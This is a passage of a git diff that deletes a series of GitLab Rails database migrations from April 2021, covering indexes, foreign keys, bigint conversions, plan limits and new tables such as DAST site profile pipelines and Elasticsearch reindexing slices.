-end
diff --git a/db/migrate/20210416172516_create_vulnerability_finding_evidence_responses.rb b/db/migrate/20210416172516_create_vulnerability_finding_evidence_responses.rb
deleted file mode 100644
index c9740a48117..00000000000
--- a/db/migrate/20210416172516_create_vulnerability_finding_evidence_responses.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class CreateVulnerabilityFindingEvidenceResponses < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :vulnerability_finding_evidence_responses do |t|
- t.timestamps_with_timezone null: false
-
- t.references :vulnerability_finding_evidence, index: { name: 'finding_evidence_responses_on_finding_evidences_id' }, null: false, foreign_key: { on_delete: :cascade }
- t.integer :status_code
- t.text :reason_phrase
-
- t.text_limit :reason_phrase, 2048
- end
- end
-
- def down
- with_lock_retries do
- drop_table :vulnerability_finding_evidence_responses
- end
- end
-end
diff --git a/db/migrate/20210419090412_remove_debian_group_architectures_distribution_id_index.rb b/db/migrate/20210419090412_remove_debian_group_architectures_distribution_id_index.rb
deleted file mode 100644
index 1df56742480..00000000000
--- a/db/migrate/20210419090412_remove_debian_group_architectures_distribution_id_index.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveDebianGroupArchitecturesDistributionIdIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- INDEX_NAME = 'idx_pkgs_deb_grp_architectures_on_distribution_id'
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index :packages_debian_group_architectures, :distribution_id, name: INDEX_NAME
- end
-
- def down
- add_concurrent_index :packages_debian_group_architectures, :distribution_id, name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210419090542_remove_debian_project_architectures_distribution_id_index.rb b/db/migrate/20210419090542_remove_debian_project_architectures_distribution_id_index.rb
deleted file mode 100644
index 1f918bd4dec..00000000000
--- a/db/migrate/20210419090542_remove_debian_project_architectures_distribution_id_index.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveDebianProjectArchitecturesDistributionIdIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- INDEX_NAME = 'idx_pkgs_deb_proj_architectures_on_distribution_id'
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index :packages_debian_project_architectures, :distribution_id, name: INDEX_NAME
- end
-
- def down
- add_concurrent_index :packages_debian_project_architectures, :distribution_id, name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210419203017_add_remote_import_url_to_import_export_upload.rb b/db/migrate/20210419203017_add_remote_import_url_to_import_export_upload.rb
deleted file mode 100644
index 00c5329406e..00000000000
--- a/db/migrate/20210419203017_add_remote_import_url_to_import_export_upload.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-class AddRemoteImportUrlToImportExportUpload < ActiveRecord::Migration[6.0]
- # limit is added in 20210419203018_add_remote_text_limit_to_import_url_in_import_export_upload.rb
- def change
- add_column :import_export_uploads, :remote_import_url, :text # rubocop:disable Migration/AddLimitToTextColumns
- end
-end
diff --git a/db/migrate/20210419203018_add_remote_text_limit_to_import_url_in_import_export_upload.rb b/db/migrate/20210419203018_add_remote_text_limit_to_import_url_in_import_export_upload.rb
deleted file mode 100644
index 81b4e76b8d9..00000000000
--- a/db/migrate/20210419203018_add_remote_text_limit_to_import_url_in_import_export_upload.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class AddRemoteTextLimitToImportUrlInImportExportUpload < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :import_export_uploads, :remote_import_url, 512
- end
-
- def down
- remove_text_limit :import_export_uploads, :remote_import_url
- end
-end
diff --git a/db/migrate/20210419224834_update_issues_iteration_foreign_key.rb b/db/migrate/20210419224834_update_issues_iteration_foreign_key.rb
deleted file mode 100644
index d071ac8d1d4..00000000000
--- a/db/migrate/20210419224834_update_issues_iteration_foreign_key.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateIssuesIterationForeignKey < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- remove_foreign_key_if_exists(:issues, column: :sprint_id)
- end
-
- add_concurrent_foreign_key(:issues, :sprints, column: :sprint_id, on_delete: :nullify)
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists(:issues, column: :sprint_id)
- end
-
- add_concurrent_foreign_key(:issues, :sprints, column: :sprint_id, on_delete: :cascade)
- end
-end
diff --git a/db/migrate/20210420012444_change_web_hook_events_default.rb b/db/migrate/20210420012444_change_web_hook_events_default.rb
deleted file mode 100644
index b5a63a5a2a8..00000000000
--- a/db/migrate/20210420012444_change_web_hook_events_default.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class ChangeWebHookEventsDefault < ActiveRecord::Migration[6.0]
- def up
- change_column_default :web_hooks, :push_events, true
- change_column_default :web_hooks, :issues_events, false
- change_column_default :web_hooks, :merge_requests_events, false
- change_column_default :web_hooks, :tag_push_events, false
- end
-
- # This is a NOP because this migration is supposed to restore the
- # intended schema, not revert it.
- def down
- end
-end
diff --git a/db/migrate/20210420012909_index_cluster_agent_tokens_on_last_used_at.rb b/db/migrate/20210420012909_index_cluster_agent_tokens_on_last_used_at.rb
deleted file mode 100644
index c1715d8ac29..00000000000
--- a/db/migrate/20210420012909_index_cluster_agent_tokens_on_last_used_at.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class IndexClusterAgentTokensOnLastUsedAt < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- OLD_INDEX = 'index_cluster_agent_tokens_on_agent_id'
- NEW_INDEX = 'index_cluster_agent_tokens_on_agent_id_and_last_used_at'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :cluster_agent_tokens, 'agent_id, last_used_at DESC NULLS LAST', name: NEW_INDEX
- remove_concurrent_index_by_name :cluster_agent_tokens, OLD_INDEX
- end
-
- def down
- add_concurrent_index :cluster_agent_tokens, :agent_id, name: OLD_INDEX
- remove_concurrent_index_by_name :cluster_agent_tokens, NEW_INDEX
- end
-end
diff --git a/db/migrate/20210420120734_initialize_conversion_of_ci_job_artifacts_to_bigint.rb b/db/migrate/20210420120734_initialize_conversion_of_ci_job_artifacts_to_bigint.rb
deleted file mode 100644
index cc8f0686841..00000000000
--- a/db/migrate/20210420120734_initialize_conversion_of_ci_job_artifacts_to_bigint.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiJobArtifactsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_job_artifacts
- COLUMNS = %i(id job_id)
- TARGET_COLUMNS = COLUMNS.map { |col| "#{col}_convert_to_bigint" }
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- trigger_name = rename_trigger_name(TABLE, COLUMNS, TARGET_COLUMNS)
- remove_rename_triggers TABLE, trigger_name
-
- TARGET_COLUMNS.each do |column|
- remove_column TABLE, column
- end
- end
-end
diff --git a/db/migrate/20210420173030_add_verification_indexes_to_terraform_state_versions.rb b/db/migrate/20210420173030_add_verification_indexes_to_terraform_state_versions.rb
deleted file mode 100644
index 2c0d0bee39d..00000000000
--- a/db/migrate/20210420173030_add_verification_indexes_to_terraform_state_versions.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationIndexesToTerraformStateVersions < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- VERIFICATION_STATE_INDEX_NAME = "index_terraform_state_versions_on_verification_state"
- PENDING_VERIFICATION_INDEX_NAME = "index_terraform_state_versions_pending_verification"
- FAILED_VERIFICATION_INDEX_NAME = "index_terraform_state_versions_failed_verification"
- NEEDS_VERIFICATION_INDEX_NAME = "index_terraform_state_versions_needs_verification"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :terraform_state_versions, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- add_concurrent_index :terraform_state_versions, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- add_concurrent_index :terraform_state_versions, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- add_concurrent_index :terraform_state_versions, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :terraform_state_versions, VERIFICATION_STATE_INDEX_NAME
- remove_concurrent_index_by_name :terraform_state_versions, PENDING_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :terraform_state_versions, FAILED_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :terraform_state_versions, NEEDS_VERIFICATION_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210420210642_recreate_index_for_project_deployments_with_environment_id_and_date_at.rb b/db/migrate/20210420210642_recreate_index_for_project_deployments_with_environment_id_and_date_at.rb
deleted file mode 100644
index 2674d9e50c8..00000000000
--- a/db/migrate/20210420210642_recreate_index_for_project_deployments_with_environment_id_and_date_at.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-# This migration recreates the index that introduced in 20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb.
-class RecreateIndexForProjectDeploymentsWithEnvironmentIdAndDateAt < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- OLD_INDEX_NAME = 'index_deployments_on_project_and_environment_and_updated_at'
- NEW_INDEX_NAME = 'index_deployments_on_project_and_environment_and_updated_at_id'
-
- def up
- add_concurrent_index :deployments, [:project_id, :environment_id, :updated_at, :id], name: NEW_INDEX_NAME
- remove_concurrent_index_by_name :deployments, OLD_INDEX_NAME
- end
-
- def down
- add_concurrent_index :deployments, [:project_id, :environment_id, :updated_at], name: OLD_INDEX_NAME
- remove_concurrent_index_by_name :deployments, NEW_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210420221106_update_merge_requests_iteration_foreign_key.rb b/db/migrate/20210420221106_update_merge_requests_iteration_foreign_key.rb
deleted file mode 100644
index 64786f0b20c..00000000000
--- a/db/migrate/20210420221106_update_merge_requests_iteration_foreign_key.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateMergeRequestsIterationForeignKey < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- remove_foreign_key_if_exists(:merge_requests, column: :sprint_id)
- end
-
- add_concurrent_foreign_key(:merge_requests, :sprints, column: :sprint_id, on_delete: :nullify)
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists(:merge_requests, column: :sprint_id)
- end
-
- add_concurrent_foreign_key(:merge_requests, :sprints, column: :sprint_id, on_delete: :cascade)
- end
-end
diff --git a/db/migrate/20210421021510_add_deactivate_dormant_users_to_application_settings.rb b/db/migrate/20210421021510_add_deactivate_dormant_users_to_application_settings.rb
deleted file mode 100644
index 74d197cd3b8..00000000000
--- a/db/migrate/20210421021510_add_deactivate_dormant_users_to_application_settings.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddDeactivateDormantUsersToApplicationSettings < ActiveRecord::Migration[6.0]
- def change
- add_column :application_settings, :deactivate_dormant_users, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210421022010_add_index_for_dormant_users.rb b/db/migrate/20210421022010_add_index_for_dormant_users.rb
deleted file mode 100644
index 48eff184ca0..00000000000
--- a/db/migrate/20210421022010_add_index_for_dormant_users.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexForDormantUsers < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_users_on_id_and_last_activity_on_for_non_internal_active'
-
- disable_ddl_transaction!
-
- def up
- index_condition = "state = 'active' AND (users.user_type IS NULL OR users.user_type IN (NULL, 6, 4))"
-
- add_concurrent_index :users, [:id, :last_activity_on], where: index_condition, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :users, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210421081724_add_codeowners_devops_adoption_snapshot.rb b/db/migrate/20210421081724_add_codeowners_devops_adoption_snapshot.rb
deleted file mode 100644
index 3d65abc5608..00000000000
--- a/db/migrate/20210421081724_add_codeowners_devops_adoption_snapshot.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-class AddCodeownersDevopsAdoptionSnapshot < ActiveRecord::Migration[6.0]
- def change
- add_column :analytics_devops_adoption_snapshots, :total_projects_count, :integer
- add_column :analytics_devops_adoption_snapshots, :code_owners_used_count, :integer
- end
-end
diff --git a/db/migrate/20210421190157_remove_elastic_task_null_constraint_from_elastic_reindexing_subtasks.rb b/db/migrate/20210421190157_remove_elastic_task_null_constraint_from_elastic_reindexing_subtasks.rb
deleted file mode 100644
index 301e75aa093..00000000000
--- a/db/migrate/20210421190157_remove_elastic_task_null_constraint_from_elastic_reindexing_subtasks.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveElasticTaskNullConstraintFromElasticReindexingSubtasks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- ELASTIC_TASK = 'elastic_task'
-
- disable_ddl_transaction!
-
- def up
- remove_not_null_constraint :elastic_reindexing_subtasks, :elastic_task
- change_column_null(:elastic_reindexing_subtasks, :elastic_task, true)
- end
-
- def down
- # there may be elastic_task values which are null so we fill them with a dummy value
- change_column_null(:elastic_reindexing_subtasks, :elastic_task, false, ELASTIC_TASK)
- add_not_null_constraint :elastic_reindexing_subtasks, :elastic_task, validate: false
- end
-end
diff --git a/db/migrate/20210422022825_initialize_conversion_of_ci_sources_pipelines_source_job_id_to_bigint.rb b/db/migrate/20210422022825_initialize_conversion_of_ci_sources_pipelines_source_job_id_to_bigint.rb
deleted file mode 100644
index ea716afe84b..00000000000
--- a/db/migrate/20210422022825_initialize_conversion_of_ci_sources_pipelines_source_job_id_to_bigint.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiSourcesPipelinesSourceJobIdToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- # Foreign key that references ci_builds.id
- initialize_conversion_of_integer_to_bigint :ci_sources_pipelines, :source_job_id
- end
-
- def down
- trigger_name = rename_trigger_name(:ci_sources_pipelines, :source_job_id, :source_job_id_convert_to_bigint)
-
- remove_rename_triggers :ci_sources_pipelines, trigger_name
-
- remove_column :ci_sources_pipelines, :source_job_id_convert_to_bigint
- end
-end
diff --git a/db/migrate/20210422142647_add_project_id_next_run_at_index_to_container_expiration_policies.rb b/db/migrate/20210422142647_add_project_id_next_run_at_index_to_container_expiration_policies.rb
deleted file mode 100644
index bd38b5660b4..00000000000
--- a/db/migrate/20210422142647_add_project_id_next_run_at_index_to_container_expiration_policies.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectIdNextRunAtIndexToContainerExpirationPolicies < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'idx_container_exp_policies_on_project_id_next_run_at'
-
- def up
- add_concurrent_index :container_expiration_policies, [:project_id, :next_run_at], name: INDEX_NAME, where: 'enabled = true'
- end
-
- def down
- remove_concurrent_index :container_expiration_policies, [:project_id, :next_run_at], name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210422181809_add_project_to_timelogs.rb b/db/migrate/20210422181809_add_project_to_timelogs.rb
deleted file mode 100644
index 1f98e440d15..00000000000
--- a/db/migrate/20210422181809_add_project_to_timelogs.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectToTimelogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- with_lock_retries do
- add_column :timelogs, :project_id, :integer
- end
- end
-
- def down
- with_lock_retries do
- remove_column :timelogs, :project_id
- end
- end
-end
diff --git a/db/migrate/20210422195929_create_elastic_reindexing_slices.rb b/db/migrate/20210422195929_create_elastic_reindexing_slices.rb
deleted file mode 100644
index a535402186c..00000000000
--- a/db/migrate/20210422195929_create_elastic_reindexing_slices.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-class CreateElasticReindexingSlices < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- class ReindexingSubtask < ActiveRecord::Base
- self.table_name = 'elastic_reindexing_subtasks'
- end
-
- class ReindexingSlice < ActiveRecord::Base
- self.table_name = 'elastic_reindexing_slices'
- end
-
- def up
- unless table_exists?(:elastic_reindexing_slices)
- create_table_with_constraints :elastic_reindexing_slices do |t|
- t.timestamps_with_timezone null: false
- t.references :elastic_reindexing_subtask, foreign_key: { on_delete: :cascade }, null: false, index: { name: 'idx_elastic_reindexing_slices_on_elastic_reindexing_subtask_id' }
- t.integer :elastic_slice, null: false, limit: 2, default: 0
- t.integer :elastic_max_slice, null: false, limit: 2, default: 0
- t.integer :retry_attempt, null: false, limit: 2, default: 0
- t.text :elastic_task
-
- t.text_limit :elastic_task, 255
- end
- end
-
- ReindexingSubtask.find_each do |subtask|
- next if ReindexingSlice.where(elastic_reindexing_subtask_id: subtask.id).exists?
-
- ReindexingSlice.create(
- elastic_reindexing_subtask_id: subtask.id,
- elastic_task: subtask.elastic_task,
- retry_attempt: 0
- )
- end
- end
-
- def down
- drop_table :elastic_reindexing_slices
- end
-end
diff --git a/db/migrate/20210423054022_create_dast_site_profiles_pipelines.rb b/db/migrate/20210423054022_create_dast_site_profiles_pipelines.rb
deleted file mode 100644
index 80b97ff5afe..00000000000
--- a/db/migrate/20210423054022_create_dast_site_profiles_pipelines.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class CreateDastSiteProfilesPipelines < ActiveRecord::Migration[6.0]
- def up
- table_comment = { owner: 'group::dynamic analysis', description: 'Join table between DAST Site Profiles and CI Pipelines' }
-
- create_table :dast_site_profiles_pipelines, primary_key: [:dast_site_profile_id, :ci_pipeline_id], comment: Gitlab::Json.dump(table_comment) do |t|
- t.bigint :dast_site_profile_id, null: false
- t.bigint :ci_pipeline_id, null: false
-
- t.index :ci_pipeline_id, unique: true, name: :index_dast_site_profiles_pipelines_on_ci_pipeline_id
- end
- end
-
- def down
- drop_table :dast_site_profiles_pipelines
- end
-end
diff --git a/db/migrate/20210423054537_add_dast_site_profile_id_fk_to_dast_site_profiles_pipelines.rb b/db/migrate/20210423054537_add_dast_site_profile_id_fk_to_dast_site_profiles_pipelines.rb
deleted file mode 100644
index eb3a5168609..00000000000
--- a/db/migrate/20210423054537_add_dast_site_profile_id_fk_to_dast_site_profiles_pipelines.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddDastSiteProfileIdFkToDastSiteProfilesPipelines < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :dast_site_profiles_pipelines, :dast_site_profiles, column: :dast_site_profile_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :dast_site_profiles_pipelines, column: :dast_site_profile_id
- end
- end
-end
diff --git a/db/migrate/20210423054846_add_ci_pipeline_id_fk_to_dast_site_profiles_pipelines.rb b/db/migrate/20210423054846_add_ci_pipeline_id_fk_to_dast_site_profiles_pipelines.rb
deleted file mode 100644
index ed2a7ff859c..00000000000
--- a/db/migrate/20210423054846_add_ci_pipeline_id_fk_to_dast_site_profiles_pipelines.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddCiPipelineIdFkToDastSiteProfilesPipelines < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :dast_site_profiles_pipelines, :ci_pipelines, column: :ci_pipeline_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :dast_site_profiles_pipelines, column: :ci_pipeline_id
- end
- end
-end
diff --git a/db/migrate/20210423155059_add_runner_registration_to_plan_limits.rb b/db/migrate/20210423155059_add_runner_registration_to_plan_limits.rb
deleted file mode 100644
index 5382e596d8c..00000000000
--- a/db/migrate/20210423155059_add_runner_registration_to_plan_limits.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-class AddRunnerRegistrationToPlanLimits < ActiveRecord::Migration[6.0]
- def change
- add_column(:plan_limits, :ci_registered_group_runners, :integer, default: 1000, null: false)
- add_column(:plan_limits, :ci_registered_project_runners, :integer, default: 1000, null: false)
- end
-end
diff --git a/db/migrate/20210423164702_insert_runner_registration_plan_limits.rb b/db/migrate/20210423164702_insert_runner_registration_plan_limits.rb
deleted file mode 100644
index 36d13dfa120..00000000000
--- a/db/migrate/20210423164702_insert_runner_registration_plan_limits.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class InsertRunnerRegistrationPlanLimits < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_or_update_plan_limit('ci_registered_group_runners', 'free', 50)
- create_or_update_plan_limit('ci_registered_group_runners', 'bronze', 1000)
- create_or_update_plan_limit('ci_registered_group_runners', 'silver', 1000)
- create_or_update_plan_limit('ci_registered_group_runners', 'gold', 1000)
-
- create_or_update_plan_limit('ci_registered_project_runners', 'free', 50)
- create_or_update_plan_limit('ci_registered_project_runners', 'bronze', 1000)
- create_or_update_plan_limit('ci_registered_project_runners', 'silver', 1000)
- create_or_update_plan_limit('ci_registered_project_runners', 'gold', 1000)
- end
-
- def down
- %w[group project].each do |scope|
- create_or_update_plan_limit("ci_registered_#{scope}_runners", 'free', 1000)
- create_or_update_plan_limit("ci_registered_#{scope}_runners", 'bronze', 1000)
- create_or_update_plan_limit("ci_registered_#{scope}_runners", 'silver', 1000)
- create_or_update_plan_limit("ci_registered_#{scope}_runners", 'gold', 1000)
- end
- end
-end
diff --git a/db/migrate/20210423171304_re_order_fk_source_project_id_in_merge_requests.rb b/db/migrate/20210423171304_re_order_fk_source_project_id_in_merge_requests.rb
deleted file mode 100644
index ee9e444c792..00000000000
--- a/db/migrate/20210423171304_re_order_fk_source_project_id_in_merge_requests.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class ReOrderFkSourceProjectIdInMergeRequests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- OLD_SOURCE_PROJECT_FK = 'fk_3308fe130c'
- NEW_SOURCE_PROJECT_FK = 'fk_source_project'
-
- def up
- add_concurrent_foreign_key :merge_requests, :projects, column: :source_project_id, on_delete: :nullify, name: NEW_SOURCE_PROJECT_FK
-
- remove_foreign_key_if_exists :merge_requests, column: :source_project_id, name: OLD_SOURCE_PROJECT_FK
- end
-
- def down
- add_concurrent_foreign_key :merge_requests, :projects, column: :source_project_id, on_delete: :nullify
-
- remove_foreign_key_if_exists :merge_requests, column: :source_project_id, name: NEW_SOURCE_PROJECT_FK
- end
-end
diff --git a/db/migrate/20210424115725_swap_partitioned_web_hook_logs.rb b/db/migrate/20210424115725_swap_partitioned_web_hook_logs.rb
deleted file mode 100644
index 47b2f81cfae..00000000000
--- a/db/migrate/20210424115725_swap_partitioned_web_hook_logs.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class SwapPartitionedWebHookLogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- def up
- replace_with_partitioned_table :web_hook_logs
- end
-
- def down
- rollback_replace_with_partitioned_table :web_hook_logs
- end
-end
diff --git a/db/migrate/20210424163400_add_project_id_fk_to_timelogs.rb b/db/migrate/20210424163400_add_project_id_fk_to_timelogs.rb
deleted file mode 100644
index 69542e7627d..00000000000
--- a/db/migrate/20210424163400_add_project_id_fk_to_timelogs.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectIdFkToTimelogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_timelogs_on_project_id_and_spent_at'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :timelogs, [:project_id, :spent_at], name: INDEX_NAME
- add_concurrent_foreign_key :timelogs, :projects, column: :project_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists :timelogs, column: :project_id
- end
- remove_concurrent_index_by_name :timelogs, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210426094524_initialize_conversion_of_ci_builds_to_bigint.rb b/db/migrate/20210426094524_initialize_conversion_of_ci_builds_to_bigint.rb
deleted file mode 100644
index e2f82557387..00000000000
--- a/db/migrate/20210426094524_initialize_conversion_of_ci_builds_to_bigint.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_builds
- COLUMNS = %i(id stage_id)
- TARGET_COLUMNS = COLUMNS.map { |col| "#{col}_convert_to_bigint" }
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210427045604_initialize_conversion_of_ci_build_trace_chunks_to_bigint.rb b/db/migrate/20210427045604_initialize_conversion_of_ci_build_trace_chunks_to_bigint.rb
deleted file mode 100644
index ec3bb0b7e45..00000000000
--- a/db/migrate/20210427045604_initialize_conversion_of_ci_build_trace_chunks_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildTraceChunksToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_build_trace_chunks
- COLUMNS = %i(build_id)
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210427062807_add_index_to_batched_migration_jobs_status.rb b/db/migrate/20210427062807_add_index_to_batched_migration_jobs_status.rb
deleted file mode 100644
index c429094762e..00000000000
--- a/db/migrate/20210427062807_add_index_to_batched_migration_jobs_status.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToBatchedMigrationJobsStatus < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_batched_jobs_on_batched_migration_id_and_status'
-
- def up
- add_concurrent_index :batched_background_migration_jobs, [:batched_background_migration_id, :status], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :batched_background_migration_jobs, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210427084924_initialize_conversion_of_ci_builds_runner_session_to_bigint.rb b/db/migrate/20210427084924_initialize_conversion_of_ci_builds_runner_session_to_bigint.rb
deleted file mode 100644
index ffa653604df..00000000000
--- a/db/migrate/20210427084924_initialize_conversion_of_ci_builds_runner_session_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildsRunnerSessionToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_builds_runner_session
- COLUMNS = %i(build_id)
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb b/db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb
deleted file mode 100644
index 3622dddd27f..00000000000
--- a/db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddExecutionOrderIndexToBatchedBackgroundMigrationJobs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_migration_jobs_on_migration_id_and_finished_at'
-
- def up
- add_concurrent_index :batched_background_migration_jobs, %i(batched_background_migration_id finished_at), name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :batched_background_migration_jobs, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210427125400_add_spamcheck_api_key_to_application_setting.rb b/db/migrate/20210427125400_add_spamcheck_api_key_to_application_setting.rb
deleted file mode 100644
